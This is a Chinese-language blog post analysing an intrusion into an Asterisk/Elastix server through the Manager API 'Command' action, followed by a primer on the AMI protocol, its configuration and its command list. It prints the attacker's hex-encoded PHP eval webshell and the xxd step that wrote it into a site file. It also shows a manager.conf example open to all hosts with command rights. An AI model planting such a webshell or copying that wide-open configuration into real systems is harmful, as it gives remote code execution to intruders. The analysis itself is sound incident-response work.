the heart of lucifer

记一次服务器被入侵后的分析

 

通过系统日志发现问题参数为channel,文件为onetrans.php,打开onetrans.php查看,如下图

图-1 onetrans.php

从onetrans.php中看到改文件还包含了一个phpagi-asmanager-elastix.php文件,打开phpagi-asmanager-elastix.php查看,如下图:

图-2 phpagi-asmanager-elastix.php

通过phpagi-asmanager-elastix.php可以发现该web系统是使用的Asterisk,攻击者是通过API提供的Command远程命令执行写入了一句话木马,如下图

图-3 写入一句话木马

从上图可以发现攻击者使用system()函数执行的命令,其中“3c3f706870206576616c28245f504f53545b2261353130303933353431313638383635225d293b3f3e”为十六进制编码的一句话木马,用xxd命令( -P:以 postscript的连续十六进制转储输出,这也叫做纯十六进制转储,和-r:逆向操作: 把xxd的十六进制输出内容转换回原文件的二进制内容。)最后把一句话输出到smart.inc.class.php。

但是从日志文件看,里面还有Action:Command、ActionID:1这样的字符串,于是上网查了查这个Asterisk。发现攻击者正是利用了这个API提供的Command命令进行的攻击。

Manager API简介

Asterisk管理接口(AMI)允许外部客户端程连接到Asterisk实例,并且可以通过TCP/IP流发送命令和读取事件。在试图跟踪Asterisk内部电话状态进,它就显得特别有用。

在服务端和客户端之间,用的是一种简单的“key: value”格式的协议。消息中,以CR/LF为换行符,以空行(两个CR/LF)为数据包终结符。

AMI协议

 Asterisk发送命令之前,必须先建立一个会话

 会话建立之后,服务端和客户端之间,可以在任意时候发送数据包

 客户端发给服务端的包,首行必须有一个”Action”关键字;服务端发给客户端的包,首行则必须有”Event””Response”关键字。

 一个数据包里,命令行的顺序是无关紧要的,所以可以用你熟悉的顺序来组织

 CR/LF为换行符,CR/LF加空行(两个CR/LF)为包结束符,Asterisk收到包结束符时开始解析处理

包的类型

AMI的数据包类型,由首行里的关键字决定,目前有以下三种类型:

 Action:客户端发给Asterisk的包,请求执行某项特定的动作(Action)。客户端可执行的动作(可扩展的),取决于Asterisk加载的模块。一次执行一条命令。Action包含需要执行的操作名称和完成操作所需要的参数。

 ResponseAsteriskAction的响应包。

 Event:由Asterisk核心或外围模块生成的事件信息,用于通知客户端状态变化,比如电话呼入,有人加入或退出会议室,等等。

AMI配置

AMI的配置文件 /etc/asterisk/manager.confAMI缺省的监听端口为5038,主要需要配置的内容是分配个用户,并授予执行的权限,配置实例:

[general]   
enabled=yes
port=5038
bindaddr=0.0.0.0
  
[manager]
secret=XXXXXX
permit=0.0.0.0/0.0.0.0
read=system,call,log,verbose,agent,command,user
write=system,call,log,verbose,agent,command,user

配置项的详细内容,可参考http://www.asterisk.org/doxygen/trunk/Config_ami.html

 

 

配置完成后,可以在CLI下查看manager用信息,操作实例如下:

yjye*CLI> manager show users

username
——–
admin
——————-
1 manager users configured.

 

AMI的命令列表可以通过在CLI下的manager show commands查看,我的环境里是这样的:

yjye*CLI> manager show commands
Action           Privilege       Synopsis
——           ———       ——–
WaitEvent        <none>          Wait for an event to occur.
QueueReset       <none>          Reset queue statistics.
QueueReload      <none>          Reload a queue, queues, or any sub-section of a queue o
QueueRule        <none>          Queue Rules.
QueuePenalty     agent,all       Set the penalty for a queue member.
QueueLog         agent,all       Adds custom entry in queue_log.
QueuePause       agent,all       Makes a queue member temporarily unavailable.
QueueRemove      agent,all       Remove interface from queue.
QueueAdd         agent,all       Add interface to queue.
QueueSummary     <none>          Show queue summary.
QueueStatus      <none>          Show queue status.
Queues           <none>          Queues.
MuteAudio        system,all      Mute an audio stream
MixMonitorMute   <none>          Mute / unMute a Mixmonitor recording.
VoicemailUsersL  call,reporting, List All Voicemail User Information.
PlayDTMF         call,all        Play DTMF signal on a specific channel.
SKINNYshowline   system,reportin Show SKINNY line (text format).
SKINNYlines      system,reportin List SKINNY lines (text format).
SKINNYshowdevic  system,reportin Show SKINNY device (text format).
SKINNYdevices    system,reportin List SKINNY devices (text format).
IAXregistry      system,reportin Show IAX registrations.
IAXnetstats      system,reportin Show IAX Netstats.
IAXpeerlist      system,reportin List IAX Peers.
IAXpeers         system,reportin List IAX peers.
AgentLogoff      agent,all       Sets an agent as no longer logged in.
Agents           agent,all       Lists agents and their status.
SIPnotify        system,all      Send a SIP notify.
SIPshowregistry  system,reportin Show SIP registrations (text format).
SIPqualifypeer   system,reportin Qualify SIP peers.
SIPshowpeer      system,reportin show SIP peer (text format).
SIPpeers         system,reportin List SIP peers (text format).
LocalOptimizeAw  system,call,all Optimize away a local channel when possible.
AGI              agi,all         Add an AGI command to execute by Async AGI.
UnpauseMonitor   call,all        Unpause monitoring of a channel.
PauseMonitor     call,all        Pause monitoring of a channel.
ChangeMonitor    call,all        Change monitoring filename of a channel.
StopMonitor      call,all        Stop monitoring a channel.
Monitor          call,all        Monitor a channel.
DBDelTree        system,all      Delete DB Tree.
DBDel            system,all      Delete DB entry.
DBPut            system,all      Put DB entry.
DBGet            system,reportin Get DB Entry.
Bridge           call,all        Bridge two channels already in the PBX.
Park             call,all        Park a channel.
ParkedCalls      <none>          List parked calls.
ShowDialPlan     config,reportin Show dialplan contexts and extensions
AOCMessage       aoc,all         Generate an Advice of Charge message on a channel.
ModuleCheck      system,all      Check if module is loaded.
ModuleLoad       system,all      Module management.
CoreShowChannel  system,reportin List currently active channels.
Reload           system,config,a Send a reload event.
CoreStatus       system,reportin Show PBX core status variables.
CoreSettings     system,reportin Show PBX core settings (version etc).
UserEvent        user,all        Send an arbitrary event.
UpdateConfig     config,all      Update basic configuration.
SendText         call,all        Send text message to channel.
ListCommands     <none>          List available manager commands.
MailboxCount     call,reporting, Check Mailbox Message Count.
MailboxStatus    call,reporting, Check mailbox.
AbsoluteTimeout  system,call,all Set absolute timeout.
ExtensionState   call,reporting, Check Extension Status.
Command          command,all     Execute Asterisk CLI Command.
Originate        originate,all   Originate a call.
Atxfer           call,all        Attended transfer.
Redirect         call,all        Redirect (transfer) a call.
ListCategories   config,all      List categories in configuration file.
CreateConfig     config,all      Creates an empty file in the configuration directory.
Status           system,call,rep List channel status.
GetConfigJSON    system,config,a Retrieve configuration (JSON format).
GetConfig        system,config,a Retrieve configuration.
Getvar           call,reporting, Gets a channel variable.
Setvar           call,all        Set a channel variable.
Ping             <none>          Keepalive command.
Hangup           system,call,all Hangup channel.
Challenge        <none>          Generate Challenge for MD5 Auth.
Login            <none>          Login Manager.
Logoff           <none>          Logoff Manager.
Events           <none>          Control Event Flow.
DataGet          <none>          Retrieve the data api tree.

参考:《通过AMI接口远程控制Asterisk》

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注